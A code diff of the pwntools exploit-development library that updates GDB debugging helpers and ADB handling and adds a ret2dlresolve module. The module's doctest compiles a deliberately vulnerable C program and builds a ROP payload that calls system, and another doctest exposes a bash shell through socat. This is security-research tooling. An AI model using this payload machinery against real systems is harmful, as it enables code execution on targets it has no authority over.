-        by using the ``ssh=`` keyword to pass in your :class:`.ssh` instance.
-
-        .. code-block:: python
-
-            # Connect to the SSH server
-            shell = ssh('passcode', 'pwnable.kr', 2222, password='guest')
-
-            # Start a process on the server
-            io = gdb.debug(['bash'],
-                            ssh=shell,
-                            gdbscript='''
-            break main
-            continue
-            ''')
-
-            # Send a command to Bash
-            io.sendline("echo hello")
-
-            # Interact with the process
-            io.interactive()
+    >>> # Connect to the SSH server
+    >>> # Start a process on the server
+    >>> shell = ssh('travis', 'example.pwnme', password='demopass')
+    >>> io = gdb.debug(['bash'],
+    ...                 ssh = shell,
+    ...                 gdbscript = '''
+    ... break main
+    ... continue
+    ... ''')
+    >>> # Send a command to Bash
+    >>> io.sendline("echo hello")
+    >>> # Interact with the process
+    >>> io.interactive() # doctest: +SKIP
+    >>> io.close()
     """
     if isinstance(args, (int, tubes.process.process, tubes.ssh.ssh_channel)):
         log.error("Use gdb.attach() to debug a running process")
 
-    if env is None:
-        env = os.environ
-
     if isinstance(args, (bytes, six.text_type)):
         args = [args]
 
@@ -421,14 +416,17 @@ def debug(args, gdbscript=None, exe=None, ssh=None, env=None, sysroot=None, **kw
         return runner(args, executable=exe, env=env)
 
     if ssh or context.native or (context.os == 'android'):
-        args = _gdbserver_args(args=args, which=which)
+        args = _gdbserver_args(args=args, which=which, env=env)
     else:
         qemu_port = random.randint(1024, 65535)
         qemu_user = qemu.user_path()
         sysroot = sysroot or qemu.ld_prefix(env=env)
         if not qemu_user:
             log.error("Cannot debug %s binaries without appropriate QEMU binaries" % context.arch)
-        args = [qemu_user, '-g', str(qemu_port)] + args
+        qemu_args = [qemu_user, '-g', str(qemu_port)]
+        if sysroot:
+            qemu_args += ['-L', sysroot]
+        args = qemu_args + args
 
     # Use a sane default sysroot for Android
     if not sysroot and context.os == 'android':
@@ -438,18 +436,17 @@ def debug(args, gdbscript=None, exe=None, ssh=None, env=None, sysroot=None, **kw
     if not which(args[0]):
         log.error("%s is not installed" % args[0])
 
-    exe = exe or which(orig_args[0])
-    if not exe:
-        log.error("%s does not exist" % orig_args[0])
-    else:
-        gdbscript = 'file "%s"\n%s' % (exe, gdbscript)
+    if not ssh:
+        exe = exe or which(orig_args[0])
+        if not (exe and os.path.exists(exe)):
+            log.error("%s does not exist" % exe)
 
     # Start gdbserver/qemu
     # (Note: We override ASLR here for the gdbserver process itself.)
     gdbserver = runner(args, env=env, aslr=1, **kwargs)
 
     # Set the .executable on the process object.
-    gdbserver.executable = which(orig_args[0])
+    gdbserver.executable = exe
 
     # Find what port we need to connect to
     if context.native or (context.os == 'android'):
@@ -461,11 +458,11 @@ def debug(args, gdbscript=None, exe=None, ssh=None, env=None, sysroot=None, **kw
     if not ssh and context.os == 'android':
         host = context.adb_host
 
-    attach((host, port), exe=exe, gdbscript=gdbscript, need_ptrace_scope = False, ssh=ssh, sysroot=sysroot)
+    attach((host, port), exe=exe, gdbscript=gdbscript, ssh=ssh, sysroot=sysroot)
 
     # gdbserver outputs a message when a client connects
     garbage = gdbserver.recvline(timeout=1)
-    
+
     # Some versions of gdbserver output an additional message
     garbage2 = gdbserver.recvline_startswith(b"Remote debugging from host ", timeout=1)
 
@@ -509,9 +506,8 @@ def binary():
     return gdb
 
 @LocalContext
-def attach(target, gdbscript = None, exe = None, need_ptrace_scope = True, gdb_args = None, ssh = None, sysroot = None):
-    """attach(target, gdbscript = None, exe = None, arch = None, ssh = None) -> None
-
+def attach(target, gdbscript = '', exe = None, gdb_args = None, ssh = None, sysroot = None):
+    r"""
     Start GDB in a new terminal and attach to `target`.
 
     Arguments:
@@ -549,64 +545,62 @@ def attach(target, gdbscript = None, exe = None, need_ptrace_scope = True, gdb_a
 
     Examples:
 
-        .. code-block:: python
+        Attach to a process by PID
 
-            # Attach directly to pid 1234
-            gdb.attach(1234)
+        >>> pid = gdb.attach(1234) # doctest: +SKIP
 
-        .. code-block:: python
+        Attach to the youngest process by name
 
-            # Attach to the youngest "bash" process
-            gdb.attach('bash')
+        >>> pid = gdb.attach('bash') # doctest: +SKIP
 
-        .. code-block:: python
+        Attach a debugger to a :class:`.process` tube and automate interaction
 
-            # Start a process
-            bash = process('bash')
+        >>> io = process('bash')
+        >>> pid = gdb.attach(io, gdbscript='''
+        ... call puts("Hello from process debugger!")
+        ... detach
+        ... quit
+        ... ''')
+        >>> io.recvline()
+        b'Hello from process debugger!\n'
+        >>> io.sendline('echo Hello from bash && exit')
+        >>> io.recvall()
+        b'Hello from bash\n'
 
-            # Attach the debugger
-            gdb.attach(bash, '''
-            set follow-fork-mode child
-            break execve
-            continue
-            ''')
+        Attach to the remote process from a :class:`.remote` or :class:`.listen` tube,
+        as long as it is running on the same machine.
 
-            # Interact with the process
-            bash.sendline('whoami')
+        >>> server = process(['socat', 'tcp-listen:12345,reuseaddr,fork', 'exec:/bin/bash,nofork'])
+        >>> sleep(1) # Wait for socat to start
+        >>> io = remote('127.0.0.1', 12345)
+        >>> sleep(1) # Wait for process to fork
+        >>> pid = gdb.attach(io, gdbscript='''
+        ... call puts("Hello from remote debugger!")
+        ... detach
+        ... quit
+        ... ''')
+        >>> io.recvline()
+        b'Hello from remote debugger!\n'
+        >>> io.sendline('echo Hello from bash && exit')
+        >>> io.recvall()
+        b'Hello from bash\n'
 
-        .. code-block:: python
-
-            # Start a forking server
-            server = process(['socat', 'tcp-listen:1234,fork,reuseaddr', 'exec:/bin/sh'])
-
-            # Connect to the server
-            io = remote('localhost', 1234)
-
-            # Connect the debugger to the server-spawned process
-            gdb.attach(io, '''
-            break exit
-            continue
-            ''')
-
-            # Talk to the spawned 'sh'
-            io.sendline('exit')
-
-        .. code-block:: python
-
-            # Connect to the SSH server
-            shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
-
-            # Start a process on the server
-            cat = shell.process(['cat'])
-
-            # Attach a debugger to it
-            gdb.attach(cat, '''
-            break exit
-            continue
-            ''')
-
-            # Cause `cat` to exit
-            cat.close()
+        Attach to processes running on a remote machine via an SSH :class:`.ssh` process
+        
+        >>> shell = ssh('travis', 'example.pwnme', password='demopass')
+        >>> io = shell.process(['cat'])
+        >>> pid = gdb.attach(io, gdbscript='''
+        ... call sleep(5)
+        ... call puts("Hello from ssh debugger!")
+        ... detach
+        ... quit
+        ... ''')
+        >>> io.recvline(timeout=5)  # doctest: +SKIP
+        b'Hello from ssh debugger!\n'
+        >>> io.sendline('This will be echoed back')
+        >>> io.recvline()
+        b'This will be echoed back\n'
+        >>> io.close()
     """
     if context.noptrace:
         log.warn_once("Skipping debug attach since context.noptrace==True")
@@ -637,6 +631,9 @@ def attach(target, gdbscript = None, exe = None, need_ptrace_scope = True, gdb_a
         if context.os == 'android':
             pre += 'set gnutarget ' + _bfdname() + '\n'
 
+        if exe:
+            pre += 'file %s\n' % exe
+
     # let's see if we can find a pid to attach to
     pid = None
     if   isinstance(target, six.integer_types):
@@ -649,7 +646,7 @@ def attach(target, gdbscript = None, exe = None, need_ptrace_scope = True, gdb_a
         if context.os == 'android':
             pidof = adb.pidof
 
-        pids = pidof(target)
+        pids = list(pidof(target))
         if not pids:
             log.error('No such process: %s' % target)
         pid = pids[0]
@@ -662,8 +659,10 @@ def attach(target, gdbscript = None, exe = None, need_ptrace_scope = True, gdb_a
         shell = target.parent
 
         tmpfile = shell.mktemp()
+        if six.PY3:
+            tmpfile = tmpfile.decode()
         gdbscript = 'shell rm %s\n%s' % (tmpfile, gdbscript)
-        shell.upload_data(context._encode(gdbscript), tmpfile)
+        shell.upload_data(gdbscript or '', tmpfile)
 
         cmd = ['ssh', '-C', '-t', '-p', str(shell.port), '-l', shell.user, shell.host]
         if shell.password:
@@ -672,7 +671,8 @@ def attach(target, gdbscript = None, exe = None, need_ptrace_scope = True, gdb_a
             cmd = ['sshpass', '-p', shell.password] + cmd
         if shell.keyfile:
             cmd += ['-i', shell.keyfile]
-        cmd += ['gdb -q %r %s -x "%s"' % (target.executable,
+        exefile = target.executable
+        cmd += ['gdb -q %s %s -x "%s"' % (exefile,
                                        target.pid,
                                        tmpfile)]
 
@@ -682,9 +682,24 @@ def attach(target, gdbscript = None, exe = None, need_ptrace_scope = True, gdb_a
     elif isinstance(target, tubes.sock.sock):
         pids = proc.pidof(target)
         if not pids:
-            log.error('could not find remote process (%s:%d) on this machine' %
+            log.error('Could not find remote process (%s:%d) on this machine' %
                       target.sock.getpeername())
         pid = pids[0]
+
+        # Specifically check for socat, since it has an intermediary process
+        # if you do not specify "nofork" to the EXEC: argument
+        # python(2640)───socat(2642)───socat(2643)───bash(2644)
+        if proc.exe(pid).endswith('/socat') and time.sleep(0.1) and proc.children(pid):
+            pid = proc.children(pid)[0]
+
+        # We may attach to the remote process after the fork but before it performs an exec.  
+        # If an exe is provided, wait until the process is actually running the expected exe
+        # before we attach the debugger.
+        t = Timeout()
+        with t.countdown(2):
+            while exe and os.realpath(proc.exe(pid)) != os.realpath(exe) and t.timeout:
+                time.sleep(0.1)
+
     elif isinstance(target, tubes.process.process):
         pid = proc.pidof(target)[0]
         exe = exe or target.executable
@@ -722,13 +737,9 @@ def attach(target, gdbscript = None, exe = None, need_ptrace_scope = True, gdb_a
             exe_fn = adb.proc_exe
         exe = exe_fn(pid)
 
-    if not pid and not exe:
+    if not pid and not exe and not ssh:
         log.error('could not find target process')
 
-    if exe:
-        # The 'file' statement should go first
-        pre = 'file "%s"\n%s' % (exe, pre)
-
     cmd = binary()
 
     if gdb_args:
@@ -752,7 +763,7 @@ def attach(target, gdbscript = None, exe = None, need_ptrace_scope = True, gdb_a
     if context.os == 'android' and pid:
         runner  = _get_runner()
         which   = _get_which()
-        gdb_cmd = _gdbserver_args(pid=pid, which=which)
+        gdb_cmd = _gdbserver_args(pid=pid, which=which, env=env)
         gdbserver = runner(gdb_cmd)
         port    = _gdbserver_port(gdbserver, None)
         host    = context.adb_host
@@ -772,14 +783,14 @@ def attach(target, gdbscript = None, exe = None, need_ptrace_scope = True, gdb_a
 
         tmp.write(gdbscript)
         tmp.close()
-        cmd += ' -x "%s"' % (tmp.name)
+        cmd += ' -x %s' % (tmp.name)
 
     log.info('running in new terminal: %s' % cmd)
 
     gdb_pid = misc.run_in_new_terminal(cmd)
 
     if pid and context.native:
-        proc.wait_for_debugger(pid)
+        proc.wait_for_debugger(pid, gdb_pid)
 
     return gdb_pid
 
@@ -856,10 +867,10 @@ def find_module_addresses(binary, ssh=None, ulimit=False):
 
     Example:
 
-    >>> with context.local(log_level=9999): # doctest: +SKIP
-    ...     shell = ssh(host='bandit.labs.overthewire.org',user='bandit0',password='bandit0', port=2220)
+    >>> with context.local(log_level=9999):
+    ...     shell =  ssh(host='example.pwnme', user='travis', password='demopass')
     ...     bash_libs = gdb.find_module_addresses('/bin/bash', shell)
-    >>> os.path.basename(bash_libs[0].path) # doctest: +SKIP
+    >>> os.path.basename(bash_libs[0].path)
     'libc.so.6'
     >>> hex(bash_libs[0].symbols['system']) # doctest: +SKIP
     '0x7ffff7634660'
@@ -878,31 +889,29 @@ def find_module_addresses(binary, ssh=None, ulimit=False):
         local_elf  = elf.ELF(binary)
         local_libs = local_elf.libs
 
-    entry      = local_elf.header.e_entry
-
     #
     # Get the addresses from GDB
     #
     libs = {}
-    cmd  = "gdb -q --args %s" % (binary)
+    cmd  = "gdb -q -nh --args %s | cat" % (binary) # pipe through cat to disable colored output on GDB 9+
     expr = re.compile(r'(0x\S+)[^/]+(.*)')
 
     if ulimit:
-        cmd = 'sh -c "(ulimit -s unlimited; %s)"' % cmd
-
-    cmd = shlex.split(cmd)
+        cmd = ['sh', '-c', "(ulimit -s unlimited; %s)" % cmd]
+    else:
+        cmd = ['sh', '-c', cmd]
 
     with runner(cmd) as gdb:
         if context.aslr:
             gdb.sendline('set disable-randomization off')
+
         gdb.send("""
         set prompt
-        break *%#x
+        catch load
         run
-        """ % entry)
-        gdb.clean(2)
+        """)
         gdb.sendline('info sharedlibrary')
-        lines = gdb.recvrepeat(2)
+        lines = context._decode(gdb.recvrepeat(2))
 
         for line in lines.splitlines():
             m = expr.match(line)
@@ -938,13 +947,23 @@ def find_module_addresses(binary, ssh=None, ulimit=False):
     return rv
 
 def corefile(process):
-    r"""Drops a core file for the process.
+    r"""Drops a core file for a running local process.
+
+    Note:
+        You should use :meth:`.process.corefile` instead of using this method directly.
 
     Arguments:
         process: Process to dump
 
     Returns:
         :class:`.Core`: The generated core file
+
+    Example:
+
+        >>> io = process('bash')
+        >>> core = gdb.corefile(io)
+        >>> core.exe.name
+        '/bin/bash'
     """
 
     if context.noptrace:
@@ -992,7 +1011,7 @@ def version(program='gdb'):
 
     Example:
 
-        >>> (7,0) <= gdb.version() <= (8,0)
+        >>> (7,0) <= gdb.version() <= (10,0)
         True
     """
     program = misc.which(program)

pwnlib/gdb_faketerminal.py

@@ -0,0 +1,14 @@
+#!/usr/bin/env python
+from pwnlib.tubes.process import process
+from time import sleep
+from sys import argv
+sleep(1)
+if len(argv) == 2:
+	sh = process(argv[1], shell=True)
+else:
+	sh = process(argv[1:])
+sh.sendline('set prompt (gdb)')
+res = sh.sendlineafter('(gdb)', 'c')
+while b'The program is not being run.' not in res:
+    res = sh.sendlineafter('(gdb)', 'c')
+sh.close()

pwnlib/lexer.py

@@ -37,7 +37,7 @@ class PwntoolsLexer(RegexLexer):
     #: optional Comment or Whitespace
     string = r'"(\\"|[^"])*"'
     char = r'[\w$.@-]'
-    identifier = r'(?:[a-zA-Z$_]' + char + '*|\.' + char + '+|or)'
+    identifier = r'(?:[a-zA-Z$_]' + char + r'*|\.' + char + '+|or)'
     number = r'(?:0[xX][a-zA-Z0-9]+|\d+)'
     memory = r'(?:[\]\[])'
     bad = r'(?:\(bad\))'

pwnlib/libcdb.py

@@ -56,7 +56,7 @@ def search_by_hash(hex_encoded_id, hash_type='build_id'):
     data   = b""
     while not data.startswith(b'\x7fELF'):
         log.debug("Downloading data from LibcDB: %s", url)
-        data = wget(url)
+        data = wget(url, timeout=20)
 
         if not data:
             log.warn_once("Could not fetch libc for build_id %s", hex_encoded_id)
@@ -164,7 +164,7 @@ def search_by_sha256(hex_encoded_id):
 def get_build_id_offsets():
     """
     Returns a list of file offsets where the Build ID should reside within
-    an ELF file of the currentlys-elected architecture.
+    an ELF file of the currently selected architecture.
     """
     # Given the corpus of almost all libc to have been released with
     # RedHat, Fedora, Ubuntu, Debian, etc. over the past several years,
@@ -197,7 +197,7 @@ def get_build_id_offsets():
     # $ check_arch "x86-64"
     #       6 Displaying notes found at file offset 0x00000174 with length 0x00000024:
     #      82 Displaying notes found at file offset 0x00000270 with length 0x00000024:
-        'amd64': [0x270, 0x174],
+        'amd64': [0x270, 0x174, 0x2e0],
     # $ check_arch "PowerPC or cisco"
     #      88 Displaying notes found at file offset 0x00000174 with length 0x00000024:
         'powerpc': [0x174],

pwnlib/log.py

@@ -179,7 +179,7 @@ class Progress(object):
         self.rate = kwargs.pop('rate', 0)
         self._log(status, args, kwargs, 'status')
         # it is a common use case to create a logger and then immediately update
-        # its status line, so we reset `last_status` to accomodate this pattern
+        # its status line, so we reset `last_status` to accommodate this pattern
         self.last_status = 0
 
     def _log(self, status, args, kwargs, msgtype):
@@ -650,7 +650,7 @@ log_file.setFormatter(logging.Formatter(fmt, iso_8601))
 # The root 'pwnlib' logger is declared here.  To change the target of all
 # 'pwntools'-specific logging, only this logger needs to be changed.
 #
-# Logging cascades upward through the heirarchy,
+# Logging cascades upward through the hierarchy,
 # so the only point that should ever need to be
 # modified is the root 'pwnlib' logger.
 #

pwnlib/protocols/adb/__init__.py

@@ -107,6 +107,7 @@ class AdbClient(Logger):
                 and self.port == context.defaults['adb_port']:
                     log.warn("Could not connect to ADB server, trying to start it")
                     process(context.adb + ['start-server']).recvall()
+                    time.sleep(0.3)
                 else:
                     log.exception('Could not connect to ADB server (%s:%s)' % \
                                     (self.host, self.port))
@@ -168,6 +169,7 @@ class AdbClient(Logger):
 
         >>> c.version() > (4,0)
         True
+        >>> c.wait_for_device() # ensure doctests alive
         """
         try:
             self.send('host:kill')
@@ -223,8 +225,8 @@ class AdbClient(Logger):
                 l = l.decode('utf-8')
             yield l
 
-    def transport(self, serial=None):
-        """Sets the Transport on the rmeote device.
+    def transport(self, serial=None, try_again=True):
+        """Sets the Transport on the remote device.
 
         Examples:
 
@@ -244,10 +246,14 @@ class AdbClient(Logger):
             msg = 'host:transport-any'
 
         if self.send(msg) == FAIL:
+            err = self.recvl().decode('utf-8')
+            if err == 'device offline' and try_again:
+                self.wait_for_device(serial)
+                return self.transport(serial, try_again=False)
             if serial:
-                self.error("Could not set transport to %r" % serial)
+                self.error("Could not set transport to %r (%s)" % (serial, err))
             else:
-                self.error("Could not set transport 'any'")
+                self.error("Could not set transport 'any' (%s)" % err)
 
     @_autoclose
     @_with_transport
@@ -289,7 +295,9 @@ class AdbClient(Logger):
     @_with_transport
     def root(self):
         self.send('root:')
-        return self.c.recvall().decode('utf-8')
+        rv = self.c.recvall().decode('utf-8')
+        time.sleep(0.1)
+        return rv
 
     @_autoclose
     @_with_transport
@@ -336,22 +344,25 @@ class AdbClient(Logger):
 
         # The first OKAY is that the command was understood
         if response != OKAY:
-            self.error("An error occurred while waiting for device with serial %r" % serial)
+            if response == FAIL:
+                response = self.recvl().decode('utf-8')
+            self.error("An error occurred while trying to wait for device with serial %r (%r)" % (serial, response))
 
         # The second OKAY is that the device is available
         response = self.c.recvn(4)
         if response != OKAY:
-            self.error("An error occurred while waiting for device with serial %r" % serial)
+            if response == FAIL:
+                response = self.recvl().decode('utf-8')
+            self.error("An error occurred while waiting for device with serial %r (%r)" % (serial, response))
 
     def _sync(fn):
         """Decorator which enters 'sync:' mode to the selected transport,
         then invokes the decorated funciton."""
         @functools.wraps(fn)
         def wrapper(self, *a, **kw):
-            rv = None
-            if FAIL != self.send('sync:'):
-                rv = fn(self, *a, **kw)
-            return rv
+            if self.send('sync:') == FAIL:
+                self.error("An error occurred while trying to use SYNC API (%r)" % self.recvl().decode('utf-8'))
+            return fn(self, *a, **kw)
         return wrapper
 
     def list(self, path):
@@ -381,8 +392,10 @@ class AdbClient(Logger):
 
         Examples:
 
+            >>> _ = AdbClient().root()
+            >>> AdbClient().wait_for_device()
             >>> pprint(AdbClient().list('/data/user'))
-            {'0': {'mode': 41471, 'size': 11, 'time': ...}}
+            {'0': {'mode': 41471, 'size': 10, 'time': ...}}
             >>> AdbClient().list('/does/not/exist')
             Traceback (most recent call last):
             ...
@@ -456,7 +469,7 @@ class AdbClient(Logger):
             path = path.encode('utf-8')
         self.c.flat32('STAT', len(path), path)
         if self.c.recvn(4) != b'STAT':
-            self.error("An error occured while attempting to STAT a file.")
+            self.error("An error occurred while attempting to STAT a file.")
 
         mode = self.c.u32()
         size = self.c.u32()

pwnlib/rop/call.py

@@ -166,7 +166,7 @@ class AppendedArgument(Unresolved):
             for i, value in enumerate(self.values):
                 if isinstance(value, six.integer_types):
                     rv[i] = value
-                if isinstance(value, str):
+                if isinstance(value, six.text_type):
                     value = context._encode(value)
                 if isinstance(value, (bytes, bytearray)):
                     value += b'\x00'
@@ -177,6 +177,7 @@ class AppendedArgument(Unresolved):
                 if isinstance(value, Unresolved):
                     rv[i] = value.address
                     rv.extend(value.resolve())
+                assert rv[i] is not None
 
         return rv
 
@@ -218,8 +219,8 @@ class Call(object):
     #: Arguments to the call
     args = []
 
-    def __init__(self, name, target, args, abi=None):
-        assert isinstance(name, str)
+    def __init__(self, name, target, args, abi=None, before=()):
+        assert isinstance(name, (bytes, six.text_type))
         # assert isinstance(target, six.integer_types)
         assert isinstance(args, (list, tuple))
         self.abi  = abi or ABI.default()
@@ -229,6 +230,7 @@ class Call(object):
         for i, arg in enumerate(args):
             if not isinstance(arg, six.integer_types+(Unresolved,)):
                 self.args[i] = AppendedArgument(arg)
+        self.stack_arguments_before = before
 
     def __repr__(self):
         fmt = "%#x" if isinstance(self.target, six.integer_types) else "%r"
@@ -236,6 +238,15 @@ class Call(object):
                                     self.name,
                                     fmt % self.target,
                                     self.args)
+
+    @property
+    def register_arguments(self):
+        return dict(zip(self.abi.register_arguments, self.args))
+
+    @property
+    def stack_arguments(self):
+        return self.args[len(self.abi.register_arguments):]
+
     @classmethod
     def _special_repr(cls, x):
         if isinstance(x, AppendedArgument):

pwnlib/rop/ret2dlresolve.py

@@ -0,0 +1,355 @@
+r"""
+Provides automatic payload generation for exploiting buffer overflows
+using ret2dlresolve.
+
+Example:
+
+    >>> program = tempfile.mktemp()
+    >>> source  = program + ".c"
+    >>> write(source, '''
+    ... #include <unistd.h>
+    ... void vuln(void){
+    ... 	char buf[64];
+    ... 	read(STDIN_FILENO, buf, 200);
+    ... }
+    ... int main(int argc, char** argv){
+    ... 	vuln();
+    ... }''')
+    >>> cmdline = ["gcc", source, "-fno-stack-protector", "-no-pie", "-m32", "-o", program]
+    >>> process(cmdline).wait_for_close()
+
+    >>> context.binary = program
+    >>> elf = ELF(program)
+    >>> rop = ROP(elf)
+    >>> dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["echo pwned"])
+    >>> rop.read(0, dlresolve.data_addr) # do not forget this step, but use whatever function you like
+    >>> rop.ret2dlresolve(dlresolve)
+    >>> raw_rop = rop.chain()
+    >>> print(rop.dump()) # doctest: +SKIP
+    0x0000:        0x8049030 read(0, 0x804ce00)
+    0x0004:        0x8049208 <adjust @0x10> pop edi; pop ebp; ret
+    0x0008:              0x0 arg0
+    0x000c:        0x804ce00 arg1
+    0x0010:        0x8049020 [plt_init] system(0x804ce30)
+    0x0014:           0x4b74 [dlresolve index]
+    0x0018:          b'gaaa' <return address>
+    0x001c:        0x804ce30 arg0
+    >>> p = process(program)
+    >>> p.sendline(fit({64+context.bytes*3: raw_rop, 200: dlresolve.payload}))
+    >>> p.recvline()
+    b'pwned\n'
+
+    >>> # and now for 64 bits
+    >>> cmdline = ["gcc", source, "-fno-stack-protector", "-no-pie", "-o", program]
+    >>> process(cmdline).wait_for_close()
+    >>> context.binary = program
+    >>> elf = ELF(program)
+    >>> rop = ROP(elf)
+    >>> dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["echo pwned"])
+    >>> rop.read(0, dlresolve.data_addr) # do not forget this step, but use whatever function you like
+    >>> rop.ret2dlresolve(dlresolve)
+    >>> raw_rop = rop.chain()
+    >>> print(rop.dump()) # doctest: +SKIP
+    0x0000:         0x4011aa pop rdi; ret
+    0x0008:              0x0 [arg0] rdi = 0
+    0x0010:         0x4011a8 pop rsi; pop r15; ret
+    0x0018:         0x404e00 [arg1] rsi = 4214272
+    0x0020:      b'iaaajaaa' <pad r15>
+    0x0028:         0x401030 read
+    0x0030:         0x4011aa pop rdi; ret
+    0x0038:         0x404e58 [arg0] rdi = 4214360
+    0x0040:         0x401020 [plt_init] system
+    0x0048:            0x318 [dlresolve index]
+    >>> p = process(program)
+    >>> p.sendline(fit({64+context.bytes: raw_rop, 200: dlresolve.payload}))
+    >>> if dlresolve.unreliable:
+    ...     p.poll(True) == -signal.SIGSEGV
+    ... else:
+    ...     p.recvline() == b'pwned\n'
+    True
+"""
+
+from copy import deepcopy
+
+from pwnlib.context import context
+from pwnlib.log import getLogger
+from pwnlib.util.packing import *
+from pwnlib.util.misc import align
+
+log = getLogger(__name__)
+
+ELF32_R_SYM_SHIFT = 8
+ELF64_R_SYM_SHIFT = 32
+
+class Elf32_Rel(object):
+    """
+    .. code-block:: c
+
+        typedef struct elf32_rel {
+            Elf32_Addr	r_offset;
+            Elf32_Word	r_info;
+        } Elf32_Rel;
+    """
+    size=1 # see _build_structures method for explanation
+    def __init__(self, r_offset=0, r_info=0):
+        self.r_offset = r_offset
+        self.r_info = r_info
+
+    def __flat__(self):
+        return p32(self.r_offset) + p32(self.r_info)
+
+    def __bytes__(self):
+        return self.__flat__()
+
+
+class Elf64_Rel(object):
+    """
+    .. code-block:: c
+
+        typedef struct elf64_rel {
+            Elf64_Addr r_offset;
+            Elf64_Xword r_info;
+        } Elf64_Rel;
+    """
+    size=24
+    def __init__(self, r_offset=0, r_info=0):
+        self.r_offset = r_offset
+        self.r_info = r_info
+
+    def __flat__(self):
+        return p64(self.r_offset) + p64(self.r_info) + p64(0)
+
+    def __bytes__(self):
+        return self.__flat__()
+
+
+class Elf32_Sym(object):
+    """
+    .. code-block:: c
+
+        typedef struct elf32_sym{
+            Elf32_Word	st_name;
+            Elf32_Addr	st_value;
+            Elf32_Word	st_size;
+            unsigned char	st_info;
+            unsigned char	st_other;
+            Elf32_Half	st_shndx;
+        } Elf32_Sym;
+    """
+    size = 16
+    def __init__(self, st_name=0, st_value=0, st_size=0, st_info=0, st_other=0, st_shndx=0):
+        self.st_name = st_name
+        self.st_value = st_value
+        self.st_size = st_size
+        self.st_info = st_info
+        self.st_other = st_other
+        self.st_shndx = st_shndx
+
+    def __flat__(self):
+        return p32(self.st_name) + \
+            p32(self.st_value) + \
+            p32(self.st_size) + \
+            p8(self.st_info) + \
+            p8(self.st_other) + \
+            p16(self.st_shndx)
+
+    def __bytes__(self):
+        return self.__flat__()
+
+
+class Elf64_Sym(object):
+    """
+    .. code-block:: c
+
+        typedef struct elf64_sym {
+            Elf64_Word st_name;
+            unsigned char	st_info;
+            unsigned char	st_other;
+            Elf64_Half st_shndx;
+            Elf64_Addr st_value;
+            Elf64_Xword st_size;
+        } Elf64_Sym;
+    """
+    size=24
+    def __init__(self, st_name=0, st_value=0, st_size=0, st_info=0, st_other=0, st_shndx=0):
+        self.st_name = st_name
+        self.st_value = st_value
+        self.st_size = st_size
+        self.st_info = st_info
+        self.st_other = st_other
+        self.st_shndx = st_shndx
+
+    def __flat__(self):
+        return p32(self.st_name) + \
+            p8(self.st_info) + \
+            p8(self.st_other) + \
+            p16(self.st_shndx) + \
+            p64(self.st_value) + \
+            p64(self.st_size)
+
+    def __bytes__(self):
+        return self.__flat__()
+
+
+class Queue(list):
+    def size(self):
+        size = 0
+        for v in self:
+            # Lists, strings and ints all have size context.size
+            # Assuming int size equals address size
+            if isinstance(v, MarkedBytes):
+                size += len(v)
+            else:
+                size += context.bytes
+        return size
+
+
+class MarkedBytes(bytes):
+    pass
+
+
+class Ret2dlresolvePayload(object):
+    def __init__(self, elf, symbol, args, data_addr=None):
+        self.elf = elf
+        self.elf_load_address_fixup = self.elf.address - self.elf.load_addr
+        self.strtab = elf.dynamic_value_by_tag("DT_STRTAB") + self.elf_load_address_fixup
+        self.symtab = elf.dynamic_value_by_tag("DT_SYMTAB") + self.elf_load_address_fixup
+        self.jmprel = elf.dynamic_value_by_tag("DT_JMPREL") + self.elf_load_address_fixup
+        self.versym = elf.dynamic_value_by_tag("DT_VERSYM") + self.elf_load_address_fixup
+        self.symbol = context._encode(symbol)
+        self.args = args
+        self.real_args = self._format_args()
+        self.unreliable = False
+
+        self.data_addr = data_addr if data_addr is not None else self._get_recommended_address()
+
+        # Will be set when built
+        self.reloc_index = -1
+        self.payload = b""
+
+        # PIE is untested, gcc forces FULL-RELRO when PIE is set
+        if self.elf.pie and self.elf_load_address_fixup == 0:
+            log.warning("WARNING: ELF is PIE but has no base address set")
+
+        self._build()
+
+    def _format_args(self):
+        # Encode every string in args
+        def aux(args):
+            for i, arg in enumerate(args):
+                if isinstance(arg, (str,bytes)):
+                    args[i] = context._encode(args[i]) + b"\x00"
+                elif isinstance(arg, (list, tuple)):
+                    aux(arg)
+
+        args = deepcopy(self.args)
+        aux(args)
+        return args
+
+    def _get_recommended_address(self):
+        bss = self.elf.get_section_by_name(".bss").header.sh_addr + self.elf_load_address_fixup
+        bss_size = self.elf.get_section_by_name(".bss").header.sh_size
+        addr = bss + bss_size
+        addr = addr + (-addr & 0xfff) - 0x200 #next page in memory - 0x200
+        return addr
+
+    def _build_structures(self):
+        # The first part of the payload is the usual of ret2dlresolve.
+        if context.bits == 32:
+            ElfSym = Elf32_Sym
+            ElfRel = Elf32_Rel
+            ELF_R_SYM_SHIFT = ELF32_R_SYM_SHIFT
+        elif context.bits == 64:
+            ElfSym = Elf64_Sym
+            ElfRel = Elf64_Rel
+            ELF_R_SYM_SHIFT = ELF64_R_SYM_SHIFT
+        else:
+            log.error("Unsupported bits")
+
+        # where the address of the symbol will be saved
+        # (ElfRel.r_offset points here)
+        symbol_space = b"A"*context.bytes
+
+        # Symbol name. Ej: system
+        symbol_name_addr = self.data_addr + len(self.payload)
+        symbol_name = self.symbol + b"\x00"
+        symbol_end_addr = symbol_name_addr + len(symbol_name)
+
+        # ElfSym
+        index = align(ElfSym.size, symbol_end_addr - self.symtab) // ElfSym.size # index for both symtab and versym
+        sym_addr = self.symtab + ElfSym.size * index
+        sym = ElfSym(st_name=symbol_name_addr - self.strtab)
+        sym_end_addr = sym_addr + sym.size
+
+        # It seems to be treated as an index in 64b and
+        # as an offset in 32b. That's why Elf32_Rel.size = 1
+        self.reloc_index = align(ElfRel.size, sym_end_addr - self.jmprel) // ElfRel.size
+
+        # ElfRel
+        rel_addr = self.jmprel + self.reloc_index * ElfRel.size
+        rel_type = 7
+        rel = ElfRel(r_offset=self.data_addr, r_info=(index<<ELF_R_SYM_SHIFT)+rel_type)
+
+        self.payload = fit({
+            symbol_name_addr - self.data_addr: symbol_name,
+            sym_addr - self.data_addr: sym,
+            rel_addr - self.data_addr: rel
+        })
+
+        ver_addr = self.versym + 2 * index # Elf_HalfWord
+
+        log.debug("Symtab: %s", hex(self.symtab))
+        log.debug("Strtab: %s", hex(self.strtab))
+        log.debug("Versym: %s", hex(self.versym))
+        log.debug("Jmprel: %s", hex(self.jmprel))
+        log.debug("ElfSym addr: %s", hex(sym_addr))
+        log.debug("ElfRel addr: %s", hex(rel_addr))
+        log.debug("Symbol name addr: %s", hex(symbol_name_addr))
